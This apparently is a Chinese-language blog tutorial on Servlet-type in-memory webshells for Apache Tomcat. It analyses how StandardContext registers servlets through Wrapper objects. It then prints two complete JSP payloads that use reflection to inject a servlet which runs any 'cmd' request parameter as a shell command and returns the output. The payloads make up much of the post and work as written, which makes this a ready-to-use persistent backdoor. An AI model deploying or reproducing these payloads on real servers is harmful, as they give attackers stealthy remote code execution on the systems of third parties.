Java内存马Tomcat篇05-Servlet型内存马

0x00 前言

Servlet内存马原理比较复杂,本文会讲的繁琐一些。

0x01 Servlet流程分析

demo

demo1:实现Servlet接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.servlet;

import jakarta.servlet.*;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

@WebServlet(name = "servlet1", value = "/servlet1")
public class Servlet1 implements Servlet {
@Override
public void init(ServletConfig servletConfig) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
// 执行危险代码
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
}

demo2:继承HttpServlet类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.servlet;

import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

@WebServlet(name = "servlet2", value = "/servlet2")
public class Servlet2 extends HttpServlet {
private String message;

public void init() {
message = "Hello World!";
}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
// 执行危险代码
}

public void destroy() {
}
}

不管是哪个demo,都可以在对应方法执行危险代码。本文主要使用demo1进行调试分析。

配置Servlet

还是熟悉的StandardContext类,熟悉的startInternal方法。

startInternal方法会调用fireLifecycleEvent方法加载Web.xml的各项配置,包括Listener,Filter,Servlet。

这里补充一点,我使用Tomcat10.1.40,无需在Web.xml配置Servlet等,直接在对应类写路由即可,但是走的逻辑与写在Web.xml的情况下一致。

由于Java层层封装的特性,我们需要走好几层方法,最后走到ContextConfig类的configureContext方法。我们需要关注有关配置Servlet的相关代码:

image-20250511204326839

  1. 对于每一个ServletDef,创建一个Wrapper
  2. 在Wrapper里配置Servlet的servletName,servletClass等配置,包括放入Servlet
  3. 把wrapper放入StandardContext里
  4. 在StandardContext里配置Servlet对应的路由映射

上面五步,即是系统配置Servlet的相关流程,而我们写内存马,本质上就是模仿系统的这些流程。所以我们写Servlet型内存马,也是需要完成上面四步。

不着急写内存马,回到StandardContext的startInternal方法,接着往下看:

image-20250511205236435

这与我们先前学习的Filter型内存马、Listener型内存马的调试是不是关联起来了。

先加载Listener,再加载Filter,最后加载Servlet,这其实也是请求访问的顺序:Listener->Filter->Servlet。

然后就没什么好注意的了。

0x02 构造内存马

把上面的四个步骤略作修改,就是构造内存马的步骤:

  1. 编写恶意Servlet
  2. 获得StandardContext
  3. 通过StandardContext获得Wrapper
  4. 在Wrapper里配置Servlet的servletName,servletClass等配置,包括放入Servlet(这一步在上图中找不到对应代码,但是必须要放入Servlet)。
  5. 把wrapper放入StandardContext里
  6. 在StandardContext里配置Servlet对应的路由映射

demo1内存马对应的jsp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%!
public class Servlet1 implements Servlet {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse resp =(HttpServletResponse) servletResponse;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {
}
}
%>

<%
// 一种获取standardContext的方式
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
// 通过StandardContext获得Wrapper
Wrapper wrapper = standardContext.createWrapper();
// 设置Wrapper对象的ServletName属性值
Servlet1 servlet1 = new Servlet1();
String name = servlet1.getClass().getSimpleName();
wrapper.setName(name);
// 设置Wrapper对象的ServletClass属性值
wrapper.setServletClass(Servlet1.class.getName());
// 放入Servlet
wrapper.setServlet(servlet1);
// 把wrapper放入StandardContext里
standardContext.addChild(wrapper);
// 在StandardContext里配置Servlet对应的路由映射
standardContext.addServletMappingDecoded("/abc", name);
%>

demo2内存马对应的jsp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%!
public class Servlet2 extends HttpServlet {
private String message;

public void init() {
}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp =(HttpServletResponse) response;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
}

public void destroy() {
}
}
%>

<%
// 一种获取standardContext的方式
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 通过StandardContext获得Wrapper
Wrapper wrapper = standardContext.createWrapper();
// 设置Wrapper对象的ServletName属性值
Servlet2 servlet2 = new Servlet2();
String name = servlet2.getClass().getSimpleName();
wrapper.setName(name);
// 设置Wrapper对象的ServletClass属性值
wrapper.setServletClass(Servlet2.class.getName());
// 放入Servlet
wrapper.setServlet(servlet2);
// 把wrapper放入StandardContext里
standardContext.addChild(wrapper);
// 在StandardContext里配置Servlet对应的路由映射
standardContext.addServletMappingDecoded("/def", name);
%>

0x03 补充

补充内容不影响上面内存马的工作

有些师傅会在jsp编写中加入一行代码:

1
wrapper.setLoadOnStartup(1);

对应standardContext的这段代码:

image-20250511214218113

我们知道,每一个Servlet都被封装到一个Wrapper,那么多个Wrapper按照什么顺序加载呢?

Wrapper的loadOnStartUp属性作用如下:

标记容器是否在启动的时候就加载这个 servlet。 当值为 0 或者大于 0 时,表示容器在应用启动时就加载这个 servlet; 当是一个负数时或者没有指定时,则指示容器在该 servlet 被选择时才加载。 正数的值越小,启动该 servlet 的优先级越高。

我们需要指示容器在该 servlet 被选择时才加载,又最好是最先加载,那么就设置loadOnStartUp=1。

但是不设置也不影响内存马的执行。

0x04 Reference

Java安全学习——内存马 - 枫のBlog

Java内存马系列-05-Tomcat 之 Servlet 型内存马 | Drunkbaby’s Blog